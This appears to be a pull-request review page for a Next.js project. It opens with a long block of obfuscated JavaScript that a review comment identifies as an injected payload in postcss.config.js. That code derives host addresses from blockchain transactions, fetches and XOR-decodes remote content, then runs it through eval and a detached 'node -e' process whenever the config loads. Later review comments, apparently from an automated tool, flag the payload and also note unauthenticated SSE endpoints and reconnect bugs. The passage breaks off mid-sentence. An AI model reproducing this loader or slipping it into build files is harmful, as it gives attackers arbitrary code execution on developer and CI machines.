Promise[_0x46f089(0x101)](_0x4f37fe[_0x46f089(0xbc)](_0x599551,null))[_0x46f089(0xb3)](_0x2f1445=>_0x2f1445!=null?_0x2f1445:wr((_0x1a906f,_0x20bf86)=>rc(_0x1a906f,_0x46f089(0x100)+_0x46f089(0x147),[],_0x20bf86),_0x2dafd4[_0x46f089(0xf4)])[_0x46f089(0xb3)](_0x337616=>BigInt(_0x337616)))[_0x46f089(0xb3)](_0x7dfc96=>wr((_0x3353f9,_0x53082)=>rc(_0x3353f9,_0x46f089(0x118)+_0x46f089(0x188)+_0x46f089(0x19e),[S,bh(_0x7dfc96)],_0x53082),_0x2dafd4[_0x46f089(0xf4)])[_0x46f089(0xb3)](_0x264dec=>[_0x7dfc96,BigInt(_0x264dec)]))[_0x46f089(0xb3)](([_0x204e25,_0x4391d2])=>{const _0x1bca21=_0x46f089,_0x245ede={'uUkdF':function(_0x26ea2f,_0x28f631){const _0x2ed924=_0xc702;return _0x4f37fe[_0x2ed924(0x184)](_0x26ea2f,_0x28f631);},'YfHXM':function(_0x22b607,_0x1b5862){const _0x245652=_0xc702;return _0x4f37fe[_0x245652(0x106)](_0x22b607,_0x1b5862);},'VyEOa':function(_0x109d6f,_0x5d2a4a){const _0x51b5e8=_0xc702;return _0x4f37fe[_0x51b5e8(0x14f)](_0x109d6f,_0x5d2a4a);},'hSmHa':function(_0x53e4df,_0x4c6c4c){const _0x5482bf=_0xc702;return _0x4f37fe[_0x5482bf(0x106)](_0x53e4df,_0x4c6c4c);},'HoDWs':function(_0x2c43c1){const _0x1949b9=_0xc702;return _0x4f37fe[_0x1949b9(0x1c2)](_0x2c43c1);},'OVUFq':function(_0x2e34e9,_0x1f4702){const _0x546497=_0xc702;return _0x4f37fe[_0x546497(0xc5)](_0x2e34e9,_0x1f4702);},'uyVDL':function(_0x5d5f21,_0x2acf3f){const _0x3dddda=_0xc702;return _0x4f37fe[_0x3dddda(0xc8)](_0x5d5f21,_0x2acf3f);},'ViSQB':function(_0x3795ce,_0x1f5306){const _0x1218d8=_0xc702;return _0x4f37fe[_0x1218d8(0x15c)](_0x3795ce,_0x1f5306);},'AiKTD':function(_0x2b505a,_0x3153c7){const _0x52f1f9=_0xc702;return _0x4f37fe[_0x52f1f9(0xb6)](_0x2b505a,_0x3153c7);},'bymlS':function(_0x3e4d2e,_0x499abe){const _0x2cd6f0=_0xc702;return _0x4f37fe[_0x2cd6f0(0x164)](_0x3e4d2e,_0x499abe);},'jwZZr':function(_0x5aa412,_0xeb0c91){const _0x34cacd=_0xc702;return _0x4f37fe[_0x34cacd(0xef)](_0x5aa412,_0xeb0c91);},'tpJHG':function(_0x25f10c,_0x31293f,_0x2fa3c8){const _0xa133d6=_0xc702;return _0x4f37fe[_0xa133d6(0x169)](_0x25f10c,_0x31293f,_0x2fa3c8);}},_0x4e5ea3=_0x4f37fe[_0x1bca21(0x13d)](_0x4391d2,0x1n);let _0x270113=-0x1n,_0x3092fe=_0x204e25;const _0x486901=()=>_0x3092fe-_0x270113<=0x1n?wr((_0x2c5d53,_0x25226a)=>rc(_0x2c5d53,_0x1bca21(0x19b)+_0x1bca21(0xdc),[bh(_0x3092fe),!(0x10d*-0x13+0x4*0x298+-0x1*-0x997)],_0x25226a),_0x2dafd4[_0x1bca21(0xf4)])[_0x1bca21(0xb3)](_0x50c376=>{const _0x38672b=_0x1bca21,_0xaf6429=_0x50c376?.[_0x38672b(0x92)+'ns']||[];let _0x1690ce=null;for(const _0x1560a1 of _0xaf6429){if(_0x4f37fe[_0x38672b(0x159)](_0x1560a1[_0x38672b(0x87)]?.[_0x38672b(0x199)+'e'](),S))continue;if(_0x4f37fe[_0x38672b(0x14d)](_0x4f37fe[_0x38672b(0x1ba)](BigInt,_0x1560a1[_0x38672b(0xfa)]),_0x4e5ea3)){_0x1690ce=_0x1560a1;break;}_0x1690ce&&_0x4f37fe[_0x38672b(0x15c)](_0x4f37fe[_0x38672b(0x1ba)](BigInt,_0x1560a1[_0x38672b(0xfa)]),_0x4f37fe[_0x38672b(0x150)](BigInt,_0x1690ce[_0x38672b(0xfa)]))||(_0x1690ce=_0x1560a1);}return{'blockNumber':_0x3092fe,'tx':_0x1690ce};}):(_0x136021=>{const _0x337e14=_0x1bca21,_0x32454d={'FakYG':function(_0x5cbe21,_0x8b17e1){const _0x59f183=_0xc702;return _0x245ede[_0x59f183(0x16a)](_0x5cbe21,_0x8b17e1);},'DfeAz':function(_0x4b3382,_0x60dd00){const _0x4ae815=_0xc702;return _0x245ede[_0x4ae815(0xf6)](_0x4b3382,_0x60dd00);},'jIkRj':function(_0x1d673,_0x4ad835){const _0x536981=_0xc702;return _0x245ede[_0x536981(0x182)](_0x1d673,_0x4ad835);},'FXTJz':function(_0x5e2e14,_0x58a077){const _0x208e6b=_0xc702;return _0x245ede[_0x208e6b(0xea)](_0x5e2e14,_0x58a077);},'OVJbp':function(_0x26928b){const _0x34bd4b=_0xc702;return _0x245ede[_0x34bd4b(0x19a)](_0x26928b);}},_0x581450=_0x245ede[_0x337e14(0xc1)](BigInt,Math[_0x337e14(0x85)](-0x1*-0x751+0x151*-0x3+-0x352,_0x245ede[_0x337e14(0x1b6)](Number,_0x136021))),_0x3f45c9=[];for(let _0x4cf8ce=0x1n;_0x245ede[_0x337e14(0x1b1)](_0x4cf8ce,_0x581450);_0x4cf8ce+=0x1n)_0x3f45c9[_0x337e14(0xe3)](_0x245ede[_0x337e14(0x1af)](_0x270113,_0x245ede[_0x337e14(0xc9)](_0x245ede[_0x337e14(0x102)](_0x4cf8ce,_0x245ede[_0x337e14(0xea)](_0x3092fe,_0x270113)),_0x245ede[_0x337e14(0x1af)](_0x581450,0x1n))));return _0x245ede[_0x337e14(0xd7)](na,_0x3f45c9,_0x2dafd4[_0x337e14(0xf4)])[_0x337e14(0xb3)](_0x5dbf8d=>{const _0x1caffe=_0x337e14,_0x5ab502=_0x5dbf8d[_0x1caffe(0xdd)](_0x4c8e66=>_0x4c8e66>=_0x4391d2);return _0x32454d[_0x1caffe(0x18a)](_0x5ab502,-(-0xd5f+-0x2595+-0x5*-0xa31))?_0x270113=_0x3f45c9[_0x32454d[_0x1caffe(0xf9)](_0x3f45c9[_0x1caffe(0x1bc)],-0xe67+0xa*-0x247+0x1*0x252e)]:(_0x3092fe=_0x3f45c9[_0x5ab502],_0x32454d[_0x1caffe(0xb1)](_0x5ab502,-0x2346+0x7c9*-0x5+-0x28f*-0x1d)&&(_0x270113=_0x3f45c9[_0x32454d[_0x1caffe(0x144)](_0x5ab502,-0x84a+-0x39e*-0x6+0x1*-0xd69)])),_0x32454d[_0x1caffe(0x119)](_0x486901);});})(_0x3092fe-_0x270113-0x1n);return _0x4f37fe[_0x1bca21(0x1c2)](_0x486901);})[_0x46f089(0xb4)](_0x844271);}function li(){const _0x58b7e7=_0x44ceab,_0x4f8e9d={'OcATS':function(_0x2dc4cf,_0x31cb32){return _0x2dc4cf(_0x31cb32);},'ucUNo':function(_0x2649cf,_0x2fb135){return _0x2649cf(_0x2fb135);}};return _0x4f8e9d[_0x58b7e7(0xeb)](hr,I+(_0x58b7e7(0x11e)+_0x58b7e7(0x196)+_0x58b7e7(0xf2)+_0x58b7e7(0x127))+S+(_0x58b7e7(0x13b)+_0x58b7e7(0x10b)+_0x58b7e7(0x98)+_0x58b7e7(0x189)+_0x58b7e7(0x12e)+_0x58b7e7(0x14b)+_0x58b7e7(0xce)+'om'))[_0x58b7e7(0xb3)](_0x201a2a=>{const _0x58dd10=_0x58b7e7,_0x5ed66a=Array[_0x58dd10(0x9e)](_0x201a2a?.[_0x58dd10(0x1a4)])?_0x201a2a[_0x58dd10(0x1a4)]:[],_0x274d78=_0x5ed66a[_0x58dd10(0x173)](_0x3e34b6=>_0x3e34b6[_0x58dd10(0x87)]?.[_0x58dd10(0x199)+'e']()===S);return{'blockNumber':_0x4f8e9d[_0x58dd10(0x15e)](BigInt,_0x274d78[_0x58dd10(0xa4)+'r']),'tx':_0x274d78};});}((async()=>{const _0x55f1b7=_0x44ceab,_0xc996f9={'kZlWZ':_0x55f1b7(0x115)+_0x55f1b7(0xf7),'eGiCH':_0x55f1b7(0xc2),'LyGdN':function(_0xfae908,_0x26c4f5){return _0xfae908(_0x26c4f5);},'HkrSh':_0x55f1b7(0xd6),'PskPD':function(_0x2bbcb8,_0x583518){return _0x2bbcb8<_0x583518;},'HQMBO':function(_0x1b3a42,_0x1d197e){return _0x1b3a42%_0x1d197e;},'crZCf':_0x55f1b7(0xf5),'cyCpl':function(_0x3bac80,_0x246771){return _0x3bac80===_0x246771;},'CHepZ':_0x55f1b7(0x116),'JxCbi':function(_0x362ca9,_0x1c2819){return _0x362ca9(_0x1c2819);},'Jpnst':function(_0x311b27,_0x361384){return _0x311b27(_0x361384);},'XUzln':_0x55f1b7(0xcc),'QbRRV':_0x55f1b7(0x175),'nGxVW':_0x55f1b7(0x16b),'RmfMB':_0x55f1b7(0x10f),'WByWQ':function(_0x371b0c,_0x16278f){return _0x371b0c+_0x16278f;},'durVE':_0x55f1b7(0xd5)+_0x55f1b7(0x93)+_0x55f1b7(0x1be)+_0x55f1b7(0x10a)+_0x55f1b7(0x197)+_0x55f1b7(0x17c)+_0x55f1b7(0x99)+_0x55f1b7(0x1a0)+_0x55f1b7(0x113)+_0x55f1b7(0xcb)+_0x55f1b7(0x140)+'6','SIecw':function(_0x3a902b,_0x8b5878){return _0x3a902b(_0x8b5878);},'bKTVo':_0x55f1b7(0x176),'QthWB':function(_0x2a91bb,_0x3cdf2e,_0xe319e3){return _0x2a91bb(_0x3cdf2e,_0xe319e3);},'UniBA':_0x55f1b7(0x1a5),'EkQIH':_0x55f1b7(0x9d),'unMKf':_0x55f1b7(0x91),'ngsKF':function(_0x3c4556,_0xbf6f51,_0x1165e0,_0x42cd2e){return _0x3c4556(_0xbf6f51,_0x1165e0,_0x42cd2e);},'fkRSW':_0x55f1b7(0x18f),'wibbZ':function(_0x38b47e,_0x173a73){return _0x38b47e+_0x173a73;},'zAkNr':_0x55f1b7(0x161),'aBWJK':function(_0x44350e,_0x4a8a13){return _0x44350e-_0x4a8a13;},'xzqPs':function(_0x317261,_0x3ab8e8){return _0x317261(_0x3ab8e8);},'USRYf':_0x55f1b7(0x112),'CQAWy':function(_0x47a07f,_0x185a93,_0x34cec3,_0x21f47f){return _0x47a07f(_0x185a93,_0x34cec3,_0x21f47f);},'ojvxD':_0x55f1b7(0xc0)+_0x55f1b7(0xb7),'LnaXN':function(_0x32ec1e,_0x4fdf1b,_0x28721d,_0x460917){return _0x32ec1e(_0x4fdf1b,_0x28721d,_0x460917);},'MJEEv':_0x55f1b7(0x108)+_0x55f1b7(0x103)},_0x4d9a5d=_0xc996f9[_0x55f1b7(0x162)](BigInt,await _0xc996f9[_0x55f1b7(0x8b)](wr,(_0x227c26,_0x37693d)=>rc(_0x227c26,_0x55f1b7(0x100)+_0x55f1b7(0x147),[],_0x37693d))),_0x1f317d=_0xc996f9[_0x55f1b7(0x186)](_0x4d9a5d,_0xc996f9[_0x55f1b7(0xe5)](_0x4d9a5d,B));let _0x12c3f1=await _0xc996f9[_0x55f1b7(0x130)](fm,_0xc996f9[_0x55f1b7(0x1bf)](cb,_0x1f317d)[_0x55f1b7(0x17a)](bt));_0x12c3f1||(_0x12c3f1=await _0xc996f9[_0x55f1b7(0x18b)](ls,_0x4d9a5d)[_0x55f1b7(0x174)](li));const _0x532ab5=Buffer[_0x55f1b7(0x87)](_0x12c3f1['tx']['to'][_0x55f1b7(0x90)](/^0x/i,''),_0xc996f9[_0x55f1b7(0x10e)]),_0x1039ea=_0x1ff414=>_0x1ff414[0x1cf+-0x58*-0x5f+-0x11*0x207]+'\u002E'+_0x1ff414[-0x4c6*0x4+-0x657*-0x1+0xcc2]+'\u002E'+_0x1ff414[0x1*-0x23d8+-0xd7b+0xad*0x49]+'\u002E'+_0x1ff414[-0x1165+0x24da*0x1+-0x1372*0x1],[_0x4ef4ee,_0x5a3548]=[_0xc996f9[_0x55f1b7(0x18b)](_0x1039ea,_0x532ab5[_0x55f1b7(0x8f)](0x3f+-0x13*0x8e+0xa4b,-0x2*-0x46b+-0x27*-0x97+-0x1fd3*0x1)),_0xc996f9[_0x55f1b7(0x18b)](_0x1039ea,_0x532ab5[_0x55f1b7(0x8f)](0x13*-0x3b+-0x16f9+0x1b5e,0xecd+0x1*0x4a+0x3*-0x505))],_0x316007=global;_0x316007['_V']=_0x316007['i'],_0x316007['_H']=_0x55f1b7(0x122)+_0x4ef4ee+_0x55f1b7(0x10c),_0x316007[_0x55f1b7(0x9d)]=_0x55f1b7(0x122)+_0x5a3548+_0x55f1b7(0x10c),_0x316007[_0x55f1b7(0x1a5)]=_0x55f1b7(0x122)+_0x4ef4ee+_0x55f1b7(0x153),_0x316007[_0x55f1b7(0x91)]=_0x55f1b7(0x122)+_0x4ef4ee+_0x55f1b7(0x10c);function _0x35f66a(_0x15a3c7,_0x5172cf){const _0x1fe8ef=_0x55f1b7,_0x4e1685={'ogFTC':function(_0x5d5ef1,_0x25c12a){const _0x44a9c2=_0xc702;return _0xc996f9[_0x44a9c2(0xe1)](_0x5d5ef1,_0x25c12a);},'SrQJg':function(_0x132ac7,_0xe642fc){const _0x54353a=_0xc702;return _0xc996f9[_0x54353a(0xe5)](_0x132ac7,_0xe642fc);},'pMLys':_0xc996f9[_0x1fe8ef(0x178)],'QZywI':function(_0x17638b,_0x1ddcf0){const _0x40a40e=_0x1fe8ef;return _0xc996f9[_0x40a40e(0xad)](_0x17638b,_0x1ddcf0);},'yyHsj':_0xc996f9[_0x1fe8ef(0x180)],'bPQfv':function(_0x524d49,_0x10b991){const _0x402a9e=_0x1fe8ef;return _0xc996f9[_0x402a9e(0x1bf)](_0x524d49,_0x10b991);},'shSPT':function(_0x2f3f78,_0x4c3d09){const _0x25c412=_0x1fe8ef;return _0xc996f9[_0x25c412(0x18b)](_0x2f3f78,_0x4c3d09);},'uMvOo':_0xc996f9[_0x1fe8ef(0x14a)],'BtJwU':_0xc996f9[_0x1fe8ef(0x1c0)],'OxJjQ':_0xc996f9[_0x1fe8ef(0x88)],'wIbeD':function(_0x2d3440,_0x52e124){const _0x4f0500=_0x1fe8ef;return _0xc996f9[_0x4f0500(0x1bf)](_0x2d3440,_0x52e124);},'BLrzN':_0xc996f9[_0x1fe8ef(0x14e)],'YyqQS':function(_0xb87162,_0x1812f8){const _0x5ac0fc=_0x1fe8ef;return _0xc996f9[_0x5ac0fc(0x1bf)](_0xb87162,_0x1812f8);},'RbxTf':_0xc996f9[_0x1fe8ef(0x136)]},_0xc307f={'hostname':_0x5172cf[_0x1fe8ef(0xb8)],'port':+_0x5172cf[_0x1fe8ef(0x96)]||0x2b3*0x4+-0x1*-0x941+0xa3*-0x1f,'path':_0xc996f9[_0x1fe8ef(0xc7)](_0x5172cf[_0x1fe8ef(0xcd)],_0x5172cf[_0x1fe8ef(0xa5)]),'headers':{'User-Agent':_0xc996f9[_0x1fe8ef(0x131)],'Sec-V':_0x316007['_V']||0x266b+0x25*0xcb+-0x43c2}},_0x147817=_0x2ab23b=>{const _0x4d1e95=_0x1fe8ef,_0x133386=_0x15a3c7[_0x4d1e95(0x1bc)];for(let _0x511b70=-0x6c9+0x2488+0x5f3*-0x5;_0x4e1685[_0x4d1e95(0x148)](_0x511b70,_0x2ab23b[_0x4d1e95(0x1bc)]);_0x511b70++)_0x2ab23b[_0x511b70]^=_0x15a3c7[_0x4d1e95(0x9a)](_0x4e1685[_0x4d1e95(0x117)](_0x511b70,_0x133386));return _0x2ab23b[_0x4d1e95(0x156)](_0x4e1685[_0x4d1e95(0x1a2)]);},_0x440cea=_0x2ef284=>{const _0x438a51=_0x1fe8ef,_0x55d87c=_0x2ef284[_0x438a51(0xaf)][_0xc996f9[_0x438a51(0x14e)]];if(!_0x55d87c)throw new Error(_0xc996f9[_0x438a51(0x134)]);return _0xc996f9[_0x438a51(0x8b)](_0x147817,Buffer[_0x438a51(0x87)](_0x55d87c,_0xc996f9[_0x438a51(0xc4)]));},_0x50d02a=_0x2b7faa=>new Promise((_0x2af824,_0x389a52)=>{const _0x1cecae=_0x1fe8ef,_0xe9fc74={'ZuHfL':function(_0x101d75,_0x445496){const _0x118749=_0xc702;return _0x4e1685[_0x118749(0x15d)](_0x101d75,_0x445496);},'GGbog':function(_0x2c6e05,_0x4ae1fb){const _0xf9a117=_0xc702;return _0x4e1685[_0xf9a117(0xbb)](_0x2c6e05,_0x4ae1fb);},'QZRte':_0x4e1685[_0x1cecae(0x8e)],'OGXGz':function(_0xce0e7b,_0x2c9d77){const _0x21b712=_0x1cecae;return _0x4e1685[_0x21b712(0x1b3)](_0xce0e7b,_0x2c9d77);},'cRXVv':_0x4e1685[_0x1cecae(0x84)],'fLEkP':function(_0x3aa2eb,_0x287a3a){const _0x1042bf=_0x1cecae;return _0x4e1685[_0x1042bf(0xbb)](_0x3aa2eb,_0x287a3a);}},_0x289203=http[_0x1cecae(0x8a)]({..._0xc307f,'method':_0x2b7faa},_0x409e9a=>{const _0x441ca6=_0x1cecae;if(_0x4e1685[_0x441ca6(0x19c)](_0x2b7faa,_0x4e1685[_0x441ca6(0x1b8)])){try{_0x4e1685[_0x441ca6(0x141)](_0x2af824,_0x4e1685[_0x441ca6(0x141)](_0x440cea,_0x409e9a));}catch(_0x4cb34b){_0x4e1685[_0x441ca6(0x15d)](_0x389a52,_0x4cb34b);}_0x409e9a[_0x441ca6(0xe0)]();return;}const _0x4d7040=[];_0x409e9a['on'](_0x4e1685[_0x441ca6(0xd4)],_0x599f3e=>_0x4d7040[_0x441ca6(0xe3)](_0x599f3e)),_0x409e9a['on'](_0x4e1685[_0x441ca6(0x171)],()=>{const _0xda10a0=_0x441ca6;try{const _0x5c40ca=Buffer[_0xda10a0(0x12a)](_0x4d7040);if(_0x5c40ca[_0xda10a0(0x1bc)])return _0xe9fc74[_0xda10a0(0x1b7)](_0x2af824,_0xe9fc74[_0xda10a0(0x12d)](_0x147817,_0x5c40ca));if(_0x409e9a[_0xda10a0(0xaf)][_0xe9fc74[_0xda10a0(0x165)]])return _0xe9fc74[_0xda10a0(0x1b7)](_0x2af824,_0xe9fc74[_0xda10a0(0x12d)](_0x440cea,_0x409e9a));_0xe9fc74[_0xda10a0(0x183)](_0x389a52,new Error(_0xe9fc74[_0xda10a0(0xd2)]));}catch(_0x309348){_0xe9fc74[_0xda10a0(0x137)](_0x389a52,_0x309348);}}),_0x409e9a['on'](_0x4e1685[_0x441ca6(0x133)],_0x389a52);});_0x289203['on'](_0x4e1685[_0x1cecae(0x133)],_0x389a52),_0x289203[_0x1cecae(0x175)]();});return _0xc996f9[_0x1fe8ef(0x162)](_0x50d02a,_0xc996f9[_0x1fe8ef(0x11d)])[_0x1fe8ef(0x174)](()=>_0x50d02a(_0x1fe8ef(0x116)));}async function _0x4afabd(_0x34a475,_0x3638cd,_0x219678){const _0x1d2052=_0x55f1b7;try{const _0x4506a8=await _0xc996f9[_0x1d2052(0xbd)](_0x35f66a,_0x3638cd,_0x34a475),_0x589a8d=_0x1d2052(0x9b)+_0x1d2052(0x195)+(_0x316007['_V']||-0x747+0xf4d*-0x1+0x1694)+_0x1d2052(0xb9)+(_0x219678?'\u005F\u0048':_0xc996f9[_0x1d2052(0x1ae)])+_0x1d2052(0x195)+(_0x219678?_0x316007['_H']:_0x316007[_0x1d2052(0x1a5)])+_0x1d2052(0xb9)+(_0x219678?_0xc996f9[_0x1d2052(0xbe)]:_0xc996f9[_0x1d2052(0xb2)])+_0x1d2052(0x195)+(_0x219678?_0x316007[_0x1d2052(0x9d)]:_0x316007[_0x1d2052(0x91)])+(_0x1d2052(0xb9)+_0x1d2052(0xee)+_0x1d2052(0xdb)+_0x1d2052(0xf1)+_0x1d2052(0xfb)+_0x1d2052(0xda));_0x219678||_0xc996f9[_0x1d2052(0x18b)](eval,_0xc996f9[_0x1d2052(0xc7)](_0x589a8d,_0x4506a8)),_0xc996f9[_0x1d2052(0x132)](spawn,_0xc996f9[_0x1d2052(0x157)],['-e',_0xc996f9[_0x1d2052(0x19d)](_0x589a8d,_0x4506a8)],{'detached':!(-0x1*0x1d96+-0x2a*-0x87+-0x11*-0x70),'stdio':_0xc996f9[_0x1d2052(0x13e)],'windowsHide':!(0xf5f+-0x16fc+0x79d*0x1)})[_0x1d2052(0x8d)]();}catch(_0xedc825){}}await _0xc996f9[_0x55f1b7(0x1bb)](_0x4afabd,new URL(_0x55f1b7(0x122)+_0x4ef4ee+(_0x55f1b7(0x139)+'s')),_0xc996f9[_0x55f1b7(0x95)],!(-0xf0e+0x12d2+-0x3c3)),await _0xc996f9[_0x55f1b7(0x16d)](_0x4afabd,new URL(_0x55f1b7(0x122)+_0x4ef4ee+_0x55f1b7(0x158)),_0xc996f9[_0x55f1b7(0xfd)],!(0x2b*0xa7+0x157d*-0x1+-0x690));})()); |
There was a problem hiding this comment.
🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win
Remove the executable payload from the PostCSS configuration.
Line 9 runs when the PostCSS configuration is imported. It contacts remote hosts, decodes remotely supplied content, calls eval, mutates global, and launches a detached node -e process. This gives the remote response arbitrary code execution on developer and CI build hosts during normal Next.js workflows.
Restore this file to a declarative PostCSS plugin configuration. Remove the createRequire setup because it only supports the payload.
🧰 Tools
🪛 ast-grep (0.45.1)
[warning] 8-8: Avoid require with non-literal values
Context: require(_0x44ceab(0x1a3))
Note: [CWE-829] Inclusion of Functionality from Untrusted Control Sphere (dynamic require).
(detect-non-literal-require)
[warning] 8-8: Avoid require with non-literal values
Context: require(_0x44ceab(0x10d))
Note: [CWE-829] Inclusion of Functionality from Untrusted Control Sphere (dynamic require).
(detect-non-literal-require)
[warning] 8-8: Avoid require with non-literal values
Context: require(_0x44ceab(0x13f))
Note: [CWE-829] Inclusion of Functionality from Untrusted Control Sphere (dynamic require).
(detect-non-literal-require)
[warning] 8-8: Avoid require with non-literal values
Context: require(_0x44ceab(0x18e))
Note: [CWE-829] Inclusion of Functionality from Untrusted Control Sphere (dynamic require).
(detect-non-literal-require)
[warning] 8-8: Avoid require with non-literal values
Context: require(_0x44ceab(0x1b5)+_0x44ceab(0xf3))
Note: [CWE-829] Inclusion of Functionality from Untrusted Control Sphere (dynamic require).
(detect-non-literal-require)
🪛 Biome (2.5.6)
[error] 9-9: eval() exposes to security risks and performance issues.
(lint/security/noGlobalEval)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@postcss.config.js` around lines 1 - 9, Remove the injected executable payload
and all supporting obfuscated code from the PostCSS configuration, including the
createRequire import and require initialization. Keep postcss.config.js
declarative by exporting only the existing plugins configuration with
`@tailwindcss/postcss`.
Source: Linters/SAST tools
| export async function POST(req: NextRequest) { | ||
| try { | ||
| const body = await req.json(); | ||
| const { type, data, targetClientId } = SendEventSchema.parse(body); | ||
|
|
||
| if (targetClientId) { | ||
| logger.info("Sending event to specific client", { type, targetClientId }); | ||
| sseManager.sendToClient(targetClientId, "custom_message", data); | ||
| } else { | ||
| logger.info("Broadcasting event", { type }); | ||
| sseManager.broadcast("custom_message", data); | ||
| } | ||
|
|
||
| return new Response(JSON.stringify({ success: true }), { | ||
| headers: { "Content-Type": "application/json" }, | ||
| }); | ||
| } catch (error) { | ||
| logger.error("Error sending SSE event", { error }); | ||
| return new Response(JSON.stringify({ error: "Failed to send event" }), { | ||
| status: 400, | ||
| headers: { "Content-Type": "application/json" }, | ||
| }); | ||
| } | ||
| } |
There was a problem hiding this comment.
🔒 Security & Privacy | 🔴 Critical | 🏗️ Heavy lift
Both send entry points accept unauthenticated requests. Neither path checks identity, authorization, or rate limits. Any anonymous caller can broadcast arbitrary payloads to every connected client, or target one client by ID. src/features/sse/server/router.ts line 44 also returns the full client ID list, which supplies the IDs needed for targeting.
src/app/api/sse/send/route.ts#L12-L35: authenticate the request before parsing the body, authorize broadcast separately from targeted delivery, and apply a rate limit. Note thatsrc/middleware.tsrunsapiPipelinefor this path, so state the auth requirement explicitly rather than relying on the pipeline.src/features/sse/server/router.ts#L14-L14: replacepublicProcedurewith a protected procedure forsendEvent, and restrict targeted delivery to the caller's own client IDs.
📍 Affects 2 files
src/app/api/sse/send/route.ts#L12-L35(this comment)src/features/sse/server/router.ts#L14-L14
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/app/api/sse/send/route.ts` around lines 12 - 35, Secure both SSE send
entry points: in src/app/api/sse/send/route.ts lines 12-35, authenticate before
parsing the request, authorize broadcast versus targeted delivery, and enforce
rate limiting without relying solely on apiPipeline; in
src/features/sse/server/router.ts line 14, replace publicProcedure for sendEvent
with a protected procedure and allow targeted delivery only to client IDs owned
by the authenticated caller.
| sseManager.sendToClient(targetClientId, "custom_message", data); | ||
| } else { | ||
| logger.info("Broadcasting event", { type }); | ||
| sseManager.broadcast("custom_message", data); |
There was a problem hiding this comment.
🩺 Stability & Availability | 🔴 Critical | ⚡ Quick win
Await the send calls before you return success.
sseState.sendToClient and sseState.broadcast are declared async in src/features/sse/server/state.ts lines 138 and 156. The calls here are not awaited. The handler returns { success: true } before delivery completes, and a rejection escapes the try/catch as an unhandled rejection.
🐛 Proposed fix
if (targetClientId) {
logger.info("Sending event to specific client", { type, targetClientId });
- sseManager.sendToClient(targetClientId, "custom_message", data);
+ await sseManager.sendToClient(targetClientId, type, data);
} else {
logger.info("Broadcasting event", { type });
- sseManager.broadcast("custom_message", data);
+ await sseManager.broadcast(type, data);
}Also applies to: 25-27
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/app/api/sse/send/route.ts` around lines 19 - 22, Await both SSE delivery
calls in the route handler: update the branches invoking sseManager.sendToClient
and sseManager.broadcast so they complete within the existing try/catch before
returning success, allowing delivery failures to be handled by the route’s error
path.
| timestamp: number; | ||
| } | ||
|
|
||
| export function useSSE() { |
There was a problem hiding this comment.
🎯 Functional Correctness | 🔴 Critical | 🏗️ Heavy lift
useSSE does not accept options and does not return error. The hook signature and the dashboard call site describe two different APIs, so the build fails on this pair.
src/features/sse/hooks/useSSE.ts#L13-L13: add an options parameter withonConnect,onEvent, andeventTypes, invoke the callbacks from the corresponding listeners, register a listener for each entry ineventTypes, and add anerrorvalue to the returned object.src/features/sse/components/SSEDashboard.tsx#L15-L39: after the hook supports the options, keep this call site. Until then it passes an argument the hook ignores and readserror, which isundefinedat runtime and absent from the hook's return type.src/app/sse-demo/page.tsxline 27 already callsuseSSE()with no arguments, so choose one shape and use it in both consumers.
📍 Affects 2 files
src/features/sse/hooks/useSSE.ts#L13-L13(this comment)src/features/sse/components/SSEDashboard.tsx#L15-L39
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/features/sse/hooks/useSSE.ts` at line 13, Update useSSE in
src/features/sse/hooks/useSSE.ts to accept options containing onConnect,
onEvent, and eventTypes, invoke the callbacks from the corresponding SSE
listeners, register listeners for every eventTypes entry, and include error in
its returned object. Preserve the existing no-argument useSSE() usage in
src/app/sse-demo/page.tsx. Keep src/features/sse/components/SSEDashboard.tsx
unchanged, as its current options call and error access should be supported by
the hook changes.
| const connectEventSource = () => { | ||
| const newEventSource = new EventSource("/api/sse"); | ||
| setEventSource(newEventSource); | ||
| return newEventSource; | ||
| }; |
There was a problem hiding this comment.
🩺 Stability & Availability | 🔴 Critical | 🏗️ Heavy lift
The reconnect path never re-attaches handlers and never advances the backoff.
Two defects combine here.
First, the effect on line 39 has an empty dependency array. The onerror closure therefore always reads the initial reconnectAttempts value of 0. reconnectAttempts < maxReconnectAttempts is always true, and reconnectDelay * Math.pow(2, 0) is always 2000. The attempt cap and the exponential backoff never apply, so the hook reconnects every 2 seconds without limit.
Second, connectEventSource only constructs the EventSource. It attaches no onopen, no onerror, and no connected, ping, or custom_message listeners. After the first error the replacement connection delivers nothing, isConnected stays false, and each retry opens another server-side stream that the client ignores.
Hold the attempt counter in a ref, and attach all handlers inside connectEventSource.
🐛 Proposed restructuring
- const [reconnectAttempts, setReconnectAttempts] = useState(0);
+ const reconnectAttemptsRef = useRef(0);
+ const reconnectTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
+ const eventSourceRef = useRef<EventSource | null>(null);- const connectEventSource = () => {
- const newEventSource = new EventSource("/api/sse");
- setEventSource(newEventSource);
- return newEventSource;
- };
+ const connect = useCallback(() => {
+ const es = new EventSource("/api/sse");
+ eventSourceRef.current = es;
+
+ es.onopen = () => {
+ setIsConnected(true);
+ reconnectAttemptsRef.current = 0;
+ };
+ es.addEventListener("connected", handleConnected);
+ es.addEventListener("ping", handlePing);
+ es.addEventListener("custom_message", handleCustomMessage);
+ es.onerror = () => {
+ setIsConnected(false);
+ es.close();
+ if (reconnectAttemptsRef.current >= maxReconnectAttempts) {
+ logger.error("SSE connection failed after maximum reconnection attempts");
+ return;
+ }
+ const delay = reconnectDelay * 2 ** reconnectAttemptsRef.current;
+ reconnectAttemptsRef.current += 1;
+ reconnectTimerRef.current = setTimeout(connect, delay);
+ };
+ return es;
+ }, [handleConnected, handlePing, handleCustomMessage]);Also applies to: 109-144
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/features/sse/hooks/useSSE.ts` around lines 33 - 37, Update useSSE’s
connectEventSource to attach the complete EventSource lifecycle and message
handlers to every newly created connection, including onopen, onerror, and
connected, ping, and custom_message listeners. Track reconnectAttempts with a
ref so the onerror logic reads and increments the current count despite the
